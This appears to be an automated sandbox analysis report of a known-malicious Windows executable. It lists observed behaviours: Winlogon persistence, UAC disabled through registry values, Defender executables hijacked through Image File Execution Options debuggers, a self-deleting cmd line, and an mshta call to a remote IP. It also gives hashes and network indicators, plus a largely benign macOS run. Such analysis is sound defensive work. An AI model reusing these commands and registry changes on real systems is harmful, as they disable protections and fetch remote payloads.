Analysis Overview
SHA256
69461917822ca791194992d7b7d01e12afbf0eb86ae327b3fb86df01012e060e
Threat Level: Known bad
The file [email protected] was found to be: Known bad.
Malicious Activity Summary
Modifies WinLogon for persistence
UAC bypass
Sets file execution options in registry
Blocklisted process makes network request
Deletes itself
Loads dropped DLL
Executes dropped EXE
Checks whether UAC is enabled
Looks up external IP address via web service
Drops file in System32 directory
Resource Forking
Unsigned PE
Enumerates physical storage devices
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
System policy modification
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-17 23:41
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-17 23:41
Reported
2024-06-17 23:48
Platform
win7-20240419-en
Max time kernel
10s
Max time network
14s
Command Line
Signatures
Modifies WinLogon for persistence
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\guard-hkbk.exe" | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
UAC bypass
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0" | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
Sets file execution options in registry
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe\Debugger = "svchost.exe" | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe\Debugger = "svchost.exe" | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe\Debugger = "svchost.exe" | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe\Debugger = "svchost.exe" | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "svchost.exe" | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe\Debugger = "svchost.exe" | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
Deletes itself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\cmd.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\[email protected] | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\[email protected] | N/A |
Checks whether UAC is enabled
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | checkip.dyndns.org | N/A | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SysWOW64\services.msc | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\eventvwr.msc | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\diskmgmt.msc | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
Suspicious use of SendNotifyMessage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\[email protected] | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
Suspicious use of WriteProcessMemory
System policy modification
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0" | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableVirtualization = "0" | C:\Users\Admin\AppData\Roaming\guard-hkbk.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\[email protected]
"C:\Users\Admin\AppData\Local\Temp\[email protected]"
C:\Users\Admin\AppData\Roaming\guard-hkbk.exe
C:\Users\Admin\AppData\Roaming\guard-hkbk.exe
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\ENDERM~1.EXE" >> NUL
C:\Windows\SysWOW64\mshta.exe
mshta.exe "http://93.115.82.248/?0=1&1=1&2=9&3=i&4=7601&5=1&6=1111&7=dnkkegxvna"
C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | checkip.dyndns.org | udp |
| BR | 132.226.247.73:80 | checkip.dyndns.org | tcp |
| RO | 93.115.82.248:80 | tcp |
Files
memory/2752-0-0x0000000000400000-0x000000000058A000-memory.dmp
memory/2752-1-0x0000000000340000-0x000000000039F000-memory.dmp
memory/2752-3-0x00000000003D0000-0x00000000003D1000-memory.dmp
memory/2752-5-0x0000000000310000-0x0000000000311000-memory.dmp
memory/2752-9-0x0000000003240000-0x0000000003241000-memory.dmp
memory/2752-8-0x00000000003C0000-0x00000000003C1000-memory.dmp
memory/2752-7-0x0000000000330000-0x0000000000331000-memory.dmp
memory/2752-6-0x00000000003E0000-0x00000000003E1000-memory.dmp
memory/2752-4-0x00000000002F0000-0x00000000002F1000-memory.dmp
memory/2752-2-0x00000000003A0000-0x00000000003A1000-memory.dmp
memory/2752-18-0x0000000003240000-0x0000000003241000-memory.dmp
memory/2752-17-0x0000000003240000-0x0000000003241000-memory.dmp
memory/2752-16-0x0000000003240000-0x0000000003241000-memory.dmp
memory/2752-15-0x0000000003240000-0x0000000003241000-memory.dmp
memory/2752-14-0x0000000003240000-0x0000000003241000-memory.dmp
memory/2752-13-0x0000000003240000-0x0000000003241000-memory.dmp
memory/2752-38-0x0000000003240000-0x0000000003241000-memory.dmp
memory/2752-45-0x00000000005F0000-0x00000000005F1000-memory.dmp
memory/2752-44-0x0000000003230000-0x0000000003231000-memory.dmp
memory/2752-43-0x0000000003240000-0x0000000003241000-memory.dmp
memory/2752-42-0x0000000003240000-0x0000000003241000-memory.dmp
memory/2752-41-0x0000000003240000-0x0000000003241000-memory.dmp
memory/2752-40-0x0000000003240000-0x0000000003241000-memory.dmp
memory/2752-39-0x0000000000870000-0x0000000000871000-memory.dmp
memory/2752-37-0x0000000002100000-0x0000000002101000-memory.dmp
memory/2752-19-0x0000000003240000-0x0000000003241000-memory.dmp
memory/2752-46-0x0000000003230000-0x0000000003233000-memory.dmp
memory/2752-50-0x0000000003250000-0x0000000003251000-memory.dmp
memory/2752-49-0x00000000002E0000-0x00000000002E1000-memory.dmp
memory/2752-48-0x0000000000250000-0x0000000000251000-memory.dmp
memory/2752-47-0x0000000003240000-0x0000000003241000-memory.dmp
memory/2752-36-0x0000000000880000-0x0000000000881000-memory.dmp
memory/2752-35-0x0000000000860000-0x0000000000861000-memory.dmp
memory/2752-34-0x0000000000840000-0x0000000000841000-memory.dmp
memory/2752-33-0x00000000020A0000-0x00000000020A1000-memory.dmp
memory/2752-32-0x0000000003230000-0x0000000003231000-memory.dmp
memory/2752-31-0x0000000000600000-0x0000000000601000-memory.dmp
memory/2752-30-0x00000000005B0000-0x00000000005B1000-memory.dmp
memory/2752-29-0x00000000005D0000-0x00000000005D1000-memory.dmp
memory/2752-28-0x0000000000590000-0x0000000000591000-memory.dmp
memory/2752-27-0x0000000000610000-0x0000000000611000-memory.dmp
memory/2752-26-0x00000000005E0000-0x00000000005E1000-memory.dmp
memory/2752-25-0x0000000003230000-0x0000000003231000-memory.dmp
memory/2752-24-0x0000000003230000-0x0000000003231000-memory.dmp
memory/2752-23-0x0000000003230000-0x0000000003231000-memory.dmp
memory/2752-22-0x0000000003230000-0x0000000003231000-memory.dmp
memory/2752-21-0x0000000003240000-0x0000000003241000-memory.dmp
memory/2752-20-0x0000000003240000-0x0000000003241000-memory.dmp
memory/2752-12-0x0000000003240000-0x0000000003241000-memory.dmp
memory/2752-11-0x0000000003240000-0x0000000003241000-memory.dmp
memory/2752-10-0x0000000000320000-0x0000000000321000-memory.dmp
\Users\Admin\AppData\Roaming\guard-hkbk.exe
| MD5 | 981931159e45242cc1c3dcbdb47846d7 |
| SHA1 | 875bd5c00a30df19216e7f08bc18d97490ed25a6 |
| SHA256 | 69461917822ca791194992d7b7d01e12afbf0eb86ae327b3fb86df01012e060e |
| SHA512 | ffad32e77bcd989a20e1226021280204ded3e4ba7987e02978859be966e454785a0c0e196397378ad47d57f251764aeade3836127fe94ef67800342591fc63ce |
memory/2752-59-0x00000000038B0000-0x0000000003A3A000-memory.dmp
memory/2752-58-0x00000000038B0000-0x0000000003A3A000-memory.dmp
memory/2752-65-0x00000000038B0000-0x0000000003A3A000-memory.dmp
memory/2752-64-0x0000000000400000-0x000000000058A000-memory.dmp
memory/2752-62-0x0000000000340000-0x000000000039F000-memory.dmp
memory/2608-69-0x0000000000400000-0x000000000058A000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-17 23:41
Reported
2024-06-17 23:50
Platform
macos-20240611-en
Max time kernel
143s
Max time network
145s
Command Line
Signatures
Resource Forking
| Description | Indicator | Process | Target |
| N/A | /System/Library/Frameworks/Security.framework/Versions/A/Resources/CloudKeychainProxy.bundle/Contents/MacOS/CloudKeychainProxy | N/A | N/A |
Processes
/bin/sh
[sh -c sudo /bin/zsh -c "/Users/run/[email protected]"]
/bin/bash
[sh -c sudo /bin/zsh -c "/Users/run/[email protected]"]
/usr/bin/sudo
[sudo /bin/zsh -c /Users/run/[email protected]]
/bin/zsh
[/bin/zsh -c /Users/run/[email protected]]
/Users/run/[email protected]
[/Users/run/[email protected]]
/usr/libexec/xpcproxy
[xpcproxy com.apple.pluginkit.pkd]
/usr/libexec/pkd
[/usr/libexec/pkd]
/usr/libexec/xpcproxy
[xpcproxy com.apple.sysmond]
/usr/libexec/sysmond
[/usr/libexec/sysmond]
/usr/libexec/xpcproxy
[xpcproxy com.apple.security.cloudkeychainproxy3]
/System/Library/Frameworks/Security.framework/Versions/A/Resources/CloudKeychainProxy.bundle/Contents/MacOS/CloudKeychainProxy
[/System/Library/Frameworks/Security.framework/Versions/A/Resources/CloudKeychainProxy.bundle/Contents/MacOS/CloudKeychainProxy]
/usr/bin/pluginkit
[/usr/bin/pluginkit -e ignore -i com.microsoft.OneDrive.FinderSync]
/usr/sbin/spctl
[/usr/sbin/spctl --assess --type execute /var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/T/OneDriveUpdater2E18A62F/OneDrive.app]
/usr/libexec/xpcproxy
[xpcproxy com.apple.geod]
/System/Library/PrivateFrameworks/GeoServices.framework/Versions/A/XPCServices/com.apple.geod.xpc/Contents/MacOS/com.apple.geod
[/System/Library/PrivateFrameworks/GeoServices.framework/Versions/A/XPCServices/com.apple.geod.xpc/Contents/MacOS/com.apple.geod]
/usr/libexec/xpcproxy
[xpcproxy com.apple.AddressBook.ContactsAccountsService]
/System/Library/Frameworks/AddressBook.framework/Executables/ContactsAccountsService
[/System/Library/Frameworks/AddressBook.framework/Executables/ContactsAccountsService]
/usr/libexec/xpcproxy
[xpcproxy com.apple.suggestd]
/System/Library/PrivateFrameworks/CoreSuggestions.framework/Versions/A/Support/suggestd
[/System/Library/PrivateFrameworks/CoreSuggestions.framework/Versions/A/Support/suggestd]
/usr/libexec/xpcproxy
[xpcproxy com.apple.knowledge-agent]
/usr/libexec/knowledge-agent
[/usr/libexec/knowledge-agent]
/usr/libexec/xpcproxy
[xpcproxy com.apple.routined]
/usr/libexec/routined
[/usr/libexec/routined LAUNCHED_BY_LAUNCHD]
/usr/libexec/xpcproxy
[xpcproxy com.apple.Maps.mapspushd]
/System/Library/CoreServices/mapspushd
[/System/Library/CoreServices/mapspushd]
/usr/libexec/xpcproxy
[xpcproxy com.apple.neagent.878568F8-CCE5-4157-8315-22F20DC8FB0A]
/usr/libexec/neagent
[/usr/libexec/neagent]
/usr/libexec/xpcproxy
[xpcproxy com.apple.siri.context.service]
/System/Library/PrivateFrameworks/ContextKit.framework/Versions/A/XPCServices/ContextService.xpc/Contents/MacOS/ContextService
[/System/Library/PrivateFrameworks/ContextKit.framework/Versions/A/XPCServices/ContextService.xpc/Contents/MacOS/ContextService]
/usr/libexec/xpcproxy
[xpcproxy com.apple.corespotlightservice.725FD30A-6064-6C02-CC51-5DDB8891B57E]
/System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService
[/System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService]
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | bag-cdn.itunes-apple.com.akadns.net | udp |
| US | 8.8.8.8:53 | mobile.events.data.trafficmanager.net | udp |
| US | 20.189.173.6:443 | tcp | |
| US | 8.8.8.8:53 | api.apple-cloudkit.fe2.apple-dns.net | udp |
| US | 8.8.8.8:53 | gspe1-ssl.ls.apple.com.edgesuite.net | udp |
| US | 8.8.8.8:53 | e4686.dsce9.akamaiedge.net | udp |
| GB | 104.77.118.129:443 | tcp | |
| BE | 23.55.96.171:443 | e4686.dsce9.akamaiedge.net | tcp |
| N/A | 224.0.0.251:5353 | udp | |
| US | 8.8.8.8:53 | cds.apple.com | udp |
| BE | 104.68.86.71:443 | cds.apple.com | tcp |
| US | 8.8.8.8:53 | help.apple.com | udp |
| GB | 2.21.189.171:443 | help.apple.com | tcp |
| GB | 2.21.189.171:443 | help.apple.com | tcp |
Files
/Users/run/Library/Caches/GeoServices/ActiveTileGroup.pbd
| MD5 | e9038b61860114d74320357e3c499256 |
| SHA1 | e05a83d71cf42e2b4d7cf1411c891bd565478d78 |
| SHA256 | 9ff749f01fe2287d19c2b503ccf7d99e23046afa31235f4aa8180f87cc1db951 |
| SHA512 | 3e0686ef0a98d7715e068bf6e093beee7e5301b4072617695619b4ea06e0f77691fa8208fba3bca0635f7c5e0ee1cd4948bfb6d16f647047d04f3799d180bab3 |